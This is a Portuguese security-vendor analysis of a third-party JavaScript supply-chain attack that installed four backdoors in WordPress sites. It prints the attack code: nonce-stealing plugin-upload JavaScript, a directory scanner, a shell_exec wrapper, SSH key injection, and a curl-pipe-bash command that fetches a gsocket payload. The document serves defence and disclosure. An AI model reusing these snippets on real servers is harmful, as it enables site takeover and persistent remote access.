Ao analisar ameaças direcionadas a frameworks WordPress, encontramos um ataque em que um único arquivo JavaScript de terceiros foi usado para injetar quatro backdoors separados em 1.000 sites comprometidos usando cdn.csyndication[.]com/.

Criar quatro backdoors garante aos atacantes múltiplos pontos de reentrada caso um deles seja detectado e removido. Um caso inédito que ainda não havíamos visto. Isso apresenta um novo tipo de ataque possibilitado pelo abuso de sites que não monitoram dependências de terceiros no navegador de seus usuários.
Aqui estão as referências que encontramos para sua própria pesquisa:
Funções dos backdoors:
- Faz upload de um plugin WordPress malicioso via script oculto.
- Injeta o JavaScript malicioso.
- Adiciona chaves SSH controladas pelo atacante.
- Executa comandos remotos e busca o payload.
O domínio malicioso possui apenas duas detecções em feeds de ameaças.


1º backdoor
Um arquivo zip é codificado em base64:
<const O00O00911F_0x5aa841 = "UEsDBAoAAAAAAJizT1kAAAAAAAAAAAAAAAAUABwAdWx0cmEtc2VvLXByb2Nlc3Nvci9VVAkAA4DQ...";
Ele busca a página de upload de plugins do WordPress para obter o token _wpnonce (proteção CSRF).
O00O00911F_0x2bcbf3().then(_0x58a9ee => {
if (_0x58a9ee) {
const _0x425d54 = new FormData();
_0x425d54.append("_wpnonce", _0x58a9ee);
_0x425d54.append("pluginzip", O00O00911F_0x4e0619, "ultra-seo-processor-wp.zip");
fetch("/wp-admin/update.php?action=upload-plugin", {
method: "POST",
body: _0x425d54,
credentials: "include"
})
}
});
Isso faz o upload e instala um plugin falso (ultra-seo-processor-wp.zip) em um site WordPress. O arquivo ZIP contém código PHP de backdoor.
Em seguida, tenta fazer o upload de outro plugin WordPress malicioso:
return fetch("/wp-admin/plugin-install.php?tab=upload", {
method: "GET",
credentials: "include"
}).then(_0x58b74d => _0x58b74d.text()).then(_0x29d24b => {
const _0x577cdd = new DOMParser();
const _0x240b0e = _0x577cdd.parseFromString(_0x29d24b, "text/html");
const _0x1bd6e5 = _0x240b0e.querySelector("input[name=\"_wpnonce\"]");
if (_0x1bd6e5) {
return _0x1bd6e5.value;
}
});
Essa função obtém um nonce de administrador do WordPress e tenta fazer o upload de um plugin (ultra-seo-processor-wp.zip) para /wp-admin/update.php?action=upload-plugin, o que é um sinal claro de modificação não autorizada em nível de administrador.
O script então tenta executar um arquivo de backdoor no diretório /wp-content/plugins/.
return fetch("/wp-content/plugins/ultra-seo-processor/ultra-seo-processor.php?f6975d6b0e6087dbea971c93cdce5dd2=da00c38aacde5b89aa408c8338151caa", {
method: "GET",
credentials: "include"
});
Ele busca diretórios de instalação do WordPress e do Laravel. Essa função PHP tenta localizar instalações do WordPress (wp-config.php, wp-blog-header.php) e do Laravel (artisan) para exploração potencial.
function findSpecialDirectories($rootDir) {
$directories = [];
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator(
$rootDir,
FilesystemIterator::SKIP_DOTS | RecursiveDirectoryIterator::FOLLOW_SYMLINKS
),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $file) {
if ($file->isDir()) {
$path = $file->getRealPath();
if (!$path) {
continue;
}
if (
file_exists($path . DIRECTORY_SEPARATOR . 'index.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'wp-config.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'wp-blog-header.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'artisan')
) {
$directories[] = $path;
}
}
}
return array_unique($directories);
}
Analisando o ultra-seo-processor.zip no 1º backdoor
Hash do arquivo: 3953121a6994a157e12886df45ef2aaa85390832d58915370d8c90d4f90092be
Apenas uma detecção no Virustotal.

O arquivo ZIP, codificado em base64 e injetado no WordPress via script oculto, contém:
- ultra-seo-processor.php: Um plugin WordPress malicioso que executa comandos do atacante.
- Código que oculta o plugin do painel de administração, dificultando a detecção.
- Funções que varrem diretórios em busca de instalações do WordPress e do Laravel.
- Código injetado no wp-config.php para persistência.
- Instalação de chave SSH, permitindo acesso remoto ao servidor.
Veja um trecho do backdoor PHP dentro do plugin:
function findSpecialDirectories($rootDir) {
$directories = [];
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator(
$rootDir,
FilesystemIterator::SKIP_DOTS | RecursiveDirectoryIterator::FOLLOW_SYMLINKS
),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $file) {
if ($file->isDir()) {
$path = $file->getRealPath();
if (!$path) {
continue;
}
if (
file_exists($path . DIRECTORY_SEPARATOR . 'index.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'wp-config.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'wp-blog-header.php')
) {
$directories[] = $path;
}
}
}
return array_unique($directories);
}
Essa função tenta varrer instalações do WordPress; o malware é projetado para implantação em larga escala em múltiplas instalações de CMS no mesmo servidor.
$my_execution = function($cmd) {
return shell_exec($cmd);
};
2º Backdoor:
Injeta JavaScript malicioso no wp-config.php:
$cdn = '<?php ini_set("display_errors", 0); ini_set("display_startup_errors", 0); if (PHP_SAPI !== "cli" && (strpos(@$_SERVER["REQUEST_URI"], "/wp-admin/admin-ajax.php") === false ...';
3º Backdoor:
Injeção de chave SSH — adiciona chaves SSH controladas pelo atacante em ~/.ssh/authorized_keys, permitindo acesso persistente ao servidor:
$ak_a_file = $ak_base_folder.'/.ssh/authorized_keys';
@file_put_contents($ak_a_file, 'ssh-rsa AAAAB3N...');
@file_put_contents($ak_a_file, 'ssh-ed25519 AAAAC3Nza...');
4º Backdoor:
Executa comandos remotos e busca outro payload em gsocket[.]io/y, provavelmente criando um reverse shell.
$my_execution = function($cmd) {
return shell_exec($cmd);
};
$my_stdout = $my_execution('bash -c "$(curl -fsSL https://gsocket[.]io/y)"');
Como proteger seu site
Se encontrado, remova imediatamente o plugin WordPress malicioso (ultra-seo-processor). Verifique o arquivo .ssh/authorized_keys em busca de chaves não autorizadas e as exclua. Investigue o wp-config.php e o index.php em busca de código injetado. Se o seu servidor web foi afetado, troque todas as credenciais de administrador do WordPress. Monitore os logs do sistema para identificar qualquer atividade suspeita adicional.
O uso de JavaScript de terceiros como vetor de ataque não é novidade. No entanto, a abordagem de múltiplos backdoors — que maximiza a persistência para os atacantes — é inédita. Dado o uso generalizado de bibliotecas JS externas em todos os tipos de sites, acreditamos que esse tipo de ataque se repetirá.
Reproduzimos esse ataque em ambiente de testes, e o cside detectou e bloqueou com sucesso a injeção de JavaScript malicioso. Se você está preocupado com possíveis infecções, nosso sistema pode oferecer análise em tempo real e defesa proativa.




